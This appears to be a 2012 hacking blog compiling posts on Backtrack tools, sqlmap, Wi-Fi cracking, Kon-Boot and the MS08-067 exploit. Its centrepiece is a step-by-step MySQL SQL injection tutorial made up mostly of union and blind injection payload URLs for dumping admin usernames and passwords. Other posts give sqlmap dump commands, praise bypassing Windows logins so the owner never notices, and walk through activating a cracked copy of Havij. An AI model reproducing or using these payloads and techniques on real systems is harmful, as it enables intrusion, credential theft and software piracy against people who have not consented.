Saturday, February 25, 2012

Beini 1.2.1 With Feeding Bottle





Description 

With the wireless networks (IEEE 802.11) devices proliferate, wireless network security issues become the focus of attention. Beini is used for wireless network security assessment of a system. 

Beini:A wireless network security testing system,it is based on Tiny Core Linux. 
FeedingBottle:Aircrack-ng's GUI on Beini. 

http://adf.ly/5lmjW - For Download.

Friday, February 24, 2012

Auto login and startx in Backtrack 5

Let's face it, we all use tty1 to login as root/toor and launch startx... so why not boot automatically into our favorite desktop environment? In the following lines I'll explain how to achieve this in three simple steps.

Step 1: Install mingetty.
We need a small application that allows us to auto login as the user that we want. There are severals apps in the repositories to do this task. In fact, you can write your own app to do this in C like many tutorials suggest on the Internet. I'll use mingetty.

apt-get install mingetty

Step 2: Configuration of tty1
Now we need to change the behaviour of tty1 to use mingetty instead of the standard getty. To achieve this we need to edit the file /etc/init/tty1.conf, so use your favourite editor. I'll use nano.

nano /etc/init/tty1.conf

Let's comment out the getty line so it looks like this:

#exec /sbin/getty -8 38400 tty1

Just below this commented line, add the following one:

exec /sbin/mingetty --autologin root --noclear tty1

Save and close the file.

Step 3: startx right after login
The last thing we need to do is launch the startx command just after the login. To do this we need to edit the file /root/.bash_profile. Everything we write in this file is going to be executed just after the root logs in. By default there is no such file in BT5 installation but maybe you added some useful command for you and you want to keep it, so we are going to run the following command:

echo "startx" >> ~/.bash_profile

Done. Restart to see it working.

Enjoy.

Thursday, February 23, 2012

How to SQL Inject with SQLMAP on Backtrack5 RC1




Since alot of people don't know how to SQL Inject a website using sqlmap i have made this video and explain how to hack a website using sqlmap.

Steps:
cd /pentest/database/sqlmap
python sqlmap.py -u http://site.com/page.php?id=2 --dbs
python sqlmap.py -u http://site.com/page.php?id=2 -D databasenamehere --tables
python sqlmap.py -u http://site.com/page.php?id=2 -T tablesnamehere --columns
python sqlmap.py -u http://site.com/page.php?id=2 -T tablesnamehere -U test --dump

A Cain and Abel Tutorial for hacking



A quick guide to using Cain and Abel's sniffing and password cracking features.
Check the look in with the Labels for download to Cain & Abel

Cain & Abel is a password recovery tool for Microsoft Operating Systems.



Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort. It covers some security aspects/weakness present in protocol's standards, authentication methods and caching mechanisms; its main purpose is the simplified recovery of passwords and credentials from various sources, however it also ships some "non standard" utilities for Microsoft Windows users.


Cain & Abel has been developed in the hope that it will be useful for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons. The author will not help or support any illegal activity done with this program. Be warned that there is the possibility that you will cause damages and/or loss of data using this software and that in no events shall the author be liable for such damages or loss of data. Please carefully read the License Agreement included in the program before using it.


The latest version is faster and contains a lot of new features like APR (Arp Poison Routing) which enables sniffing on switched LANs and Man-in-the-Middle attacks. The sniffer in this version can also analyze encrypted protocols such as SSH-1 and HTTPS, and contains filters to capture credentials from a wide range of authentication mechanisms. The new version also ships routing protocols authentication monitors and routes extractors, dictionary and brute-force crackers for all common hashing algorithms and for several specific authentications, password/hash calculators, cryptanalysis attacks, password decoders and  some not so common utilities related to network and system security.


http://adf.ly/5jX3O

Full SQL Injection Tutorial (MySQL)

Full SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?
It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)

So let’s start with some action

1). Check for vulnerability
Let’s say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/news.php?id=5′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar
that means is vulrnable to sql injection

2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <– no error
http://www.site.com/news.php?id=5 order by 2/* <– no error
http://www.site.com/news.php?id=5 order by 3/* <– no error
http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
it’s a comment and it’s important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version

5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)
we know that table admin exists…
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc…
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1…
now we must complete query to look nice
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/*

6). MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won’t work if the magic quotes is ON.
let’s say that we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That’s all in this part, now we can proceed on harder part

2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done
I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it
Let’s start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc…
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <— this is always true
and the page loads normally, that’s ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <— this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version
to get the version in blind attack we use substring
i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works
when select don’t work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names
This is part when guessing is the best friend
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one
let’s say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.
then let’s check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99
Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,
cause that makes you better SQL INJECTOR
Hope you learned something from this paper.
Have FUN!

Installing iwScanner on Backtrack 5



Link to iwscanner: http://kuthulu.com/iwscanner/
I believe it only works on Linux Distros that are based on debian But works fine on Backtrack 5

If it askes you what to open with then just go to the terminal and type in: dpkg -i filenamehere.deb
and it will install it for you that way after that go to System then iwscanner (Wireless Scanner)

Remote file intrusion demonstration



Fix:
Turn off allow_url_fopen in php.ini then restart apache.

Metasploit 4.2 and Armitage - What's New?



Alright so as of Feb 22nd 2012 when you update Metasploit you will notice some changes to Armitage.

This video shows some of the new features in Armitage for Metasploit 4.2. 
The latest Armitage is a solid performer and works great for managing Metasploit in high latency situations. 
In this video, you'll see ten Armitage clients connected to a remote server managing post-exploitation against a remote network. 
At the end of this video, you'll see Armitage readily managing a database with 5,000 hosts through this setup. 
You can learn more about Armitage at http://www.fastandeasyhacking.com/

Wednesday, February 22, 2012

Havij 1.15 Pro


Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

How to Activate:

1.Run Havij.exe
2. Once it opens you will see register..
3. Click Register
Make sure you are connected to the internet
4. Under Name:
You write: Cracked@By.Exidous
5. Under File:
You select the folder where you are currently running the Havij program from and select Havij Key
6. Done....




http://adf.ly/5iBSU - For Download.

Web vulnerabilities to gain access to the system

Web vulnerabilities to gain access to the system.
There are a lot of vulnerabilities that allow us to exploit a website, all of them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and other attacks. For that reason I'm going to center this paper only in attacks that allow us access to the system and to execute commands remotely. It would be bored to write another paper with all types of vulnerabilities, telling the same you know, for that I'll try to contribute with any new thing and remember basic concepts superficially.

http://adf.ly/5i8sh - For Download.

Local File Intrusion Scanner


Local File Intrusion Scanner: lets you scan a websites script for For Local File Intrusions.


http://adf.ly/5i8Rl - For Download.


SQLi Helper v.2.7 Needs .NET Framework 2.0 installed to use it.
SQLi Helper allows you to test urls for SQL Injection vulnerable scripts.


http://adf.ly/5i85t - For Download.

ZaraByte Uploader

http://adf.ly/5i7Bd - For download.

Kon-Boot [Bypass Windows Login Passwords]




Kon-Boot for Windows enables logging in to any password protected machine profile without without any knowledge of the password. This tool changes the contents of Windows kernel while booting, everything is done virtually – without any interferences with physical system changes. So far following systems were tested to work correctly with Kon-Boot:

Windows Server 2008 Standard SP2 (v.275)  
Windows Vista Business SP1
Windows Vista Ultimate SP1  
Windows Vista Ultimate SP1  
Windows Server 2003 Enterprise  
Windows XP Windows XP SP1  
Windows XP SP2 Windows XP SP3  
Windows 7
 
How to use Kon-Boot: Kon boot can either be burned on a CD or put on a USB stick or put on a Floppy disk
bypass the Windows login screen and go straight to the desktop.  
Great

Kon-Boot is less then 100kb in file size so don't panic about the size. If your using it off a CD put the CD into the computer with the password protected Windows Login make sure the computer is set to boot from CD in the BIOS a screen like the picture above will display and then get to the Windows login screen simply press 'ENTER' 
and thing about Kon-Boot is it leaves no traces and doesn't edit or remove the password on the computer you can reboot the computer after you have logged into it and the owner of the computer will have no ideal anyone was on it.


http://adf.ly/5lhnU - For Download.


RAR Password: iblackmagic

How to Crack a WPA/WPA2 Wireless Network



You will need a compatible Wireless card for Linux I recommend:

Alfa Network AWUS036H Card find it on ebay.
You will also need a copy of Backtrack 5
And a good Wordlist.
Take in mind you might not crack the WPA/WPA2 network if the password for the WPA/WPA2 are not in your list the only reason i was able to crack mine is because i knew the password and put it in a list.

W3af - Web Application Attack and Audit Framework



How to use W3af Web Application Attack and Audit Framework for testing websites for Vulnerabilities.

Great application for Testing vulnerabilities in your website or customers websites.

How to Hack Windows XP EASY



Hacking Windows XP Using Backtrack 5 RC1 and Armitage

Using Backtrack 5 RC1 with Armitage we use the MS08_067_NETAPI Exploit to gain remote code execution on the Windows XP Machine.

However the machine must not have the Firewall blocking the port 445 on the target machine for this exploit to work.

Effects:
Windows 2000 SP4
Windows XP SP2
Windows XP SP3

How to Hack WEP Networks with Beini



Using Beini i explain how to hack WEP Wireless networks.



http://adf.ly/5lmjW - For Download.

How to Hack WEP Networks



In this video I cover Hacking WEP Wireless networks using 2 kinds of Clientless networks.

1. Chop Chop Attack
2. Fragmentation Attack.
We will be using Gerix Wifi Cracker NG and Backtrack Linux

This is a good video for anyone whos looking to learn how to crack WEP Wireless networks it is recommended that you use a Alfa Network AWUS036H Adapter due to the fact that they have a strong antenna so if your on a tall building over looking houses and what you it will pick up loads compared to a Dongle USB.
You can find Alfa Network AWUS036H Adapter's on ebay they very in prices.

Kon-Boot [Bypass Windows Login Passwords]



Kon-Boot for Windows enables logging in to any password protected machine profile without without any knowledge of the password. This tool changes the contents of Windows kernel while booting, everything is done virtually -- without any interferences with physical system changes. So far following systems were tested to work correctly with Kon-Boot:

Windows Server 2008 Standard SP2 (v.275)
Windows Vista Business SP0
Windows Vista Ultimate SP1
Windows Vista Ultimate SP0
Windows Server 2003 Enterprise
Windows XP
Windows XP SP1
Windows XP SP2
Windows XP SP3
Windows 7

How to use Kon-Boot:
Kon boot can either be burned on a CD or put on a USB stick or put on a Floppy disk
Kon-Boot is less then 100kb in file size so don't panic about the size.
If your using it off a CD put the CD into the computer with the password protected Windows Login make sure the computer is set to boot from CD in the BIOS a screen like the picture above will display and then get to the Windows login screen simply press 'ENTER' and bypass the Windows login screen and go straight to the desktop.

Great thing about Kon-Boot is it leaves no traces and doesn't edit or remove the password on the computer you can reboot the computer after you have logged into it and the owner of the computer will have no ideal anyone was on it.



http://www.wuala.com/zarabyte/misc/?lang=en
Look for KonBootv1.1.zip You need WinRAR to open the ZIP file locate the KONCD folder it has a ISO in it you need to burn the ISO using Nero or another program that can burn ISO's to a CD its a small file so don't freak out.

MS08_067_NETAPI Demonstration



Using Backtrack 5 with Metasploit to exploit MS08_067_NETAPI Service on Windows XP.
Port: 445 
SERVICE: Microsoft-ds


A very old exploit for Windows XP but it still effects machines that are not running a firewall to block the port from being exploited if the port is open on a Vulnerable Windows XP machine then the attack can gain remote code execution and that means pretty much full control over the Windows Machine.
I don't believe this effects Windows Vista or Windows 7 anymore but Windows XP is still vulnerable even up to Service Pack 3.

For more on the MS08_067 Check here: http://technet.microsoft.com/en-us/security/bulletin/ms08-067

Local File Inclusion + Shell Demonstration


Example of a Local File Inclusion + Shell Demonstration to show you how an attacker would be able to remote code execution. It is a very serious vulnerability best thing to do is turn off the following if there not being used.

magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
allow_url_fopen = Off
Would be a good ideal to make sure that 
expose_php = On
is set to 
expose_php = Off
that why the attacker has no idea what version of php your running.

Setting Up and Running Fern WIFI Cracker


Fern wifi cracker is a wireless security auditing application that is written in python and uses python-qt4. This application uses the aircrack-ng suite of tools. It can be run on any linux distribution like Fern wifi cracker is use in ubuntu or even you can use fern wifi cracker in windows but you must have some dependencies to run fern wifi cracker on windows.

Requirements of Fern wifi Cracker: 
python python-qt4 macchanger aircrack-ng xterm subversion

Download: 

After downloading the file locate the directory and open a Terminal type:
dpkg -i Fern-Wifi-Cracker_1.2_all.deb